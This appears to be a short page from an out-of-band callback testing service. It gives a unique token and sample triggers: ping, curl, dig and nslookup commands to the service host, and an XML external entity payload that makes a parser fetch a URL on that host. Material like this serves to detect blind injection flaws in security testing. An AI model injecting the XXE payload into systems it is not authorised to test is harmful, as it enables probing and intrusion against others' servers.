$ ping -c1 -p 006fd71fa26d3432e77f0641e7762700 unhack.ca
 
$ curl http://unhack.ca/p/6fd71fa26d3432e77f0641e77627
 
$ dig 6fd71fa26d3432e77f0641e77627 @unhack.ca
 
$ dig 6fd71fa26d3432e77f0641e77627.ns.unhack.ca
 
C:\> nslookup 6fd71fa26d3432e77f0641e77627 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6fd71fa26d3432e77f0641e77627">]>
    <foo>&xxe;</foo>
Waiting for ping...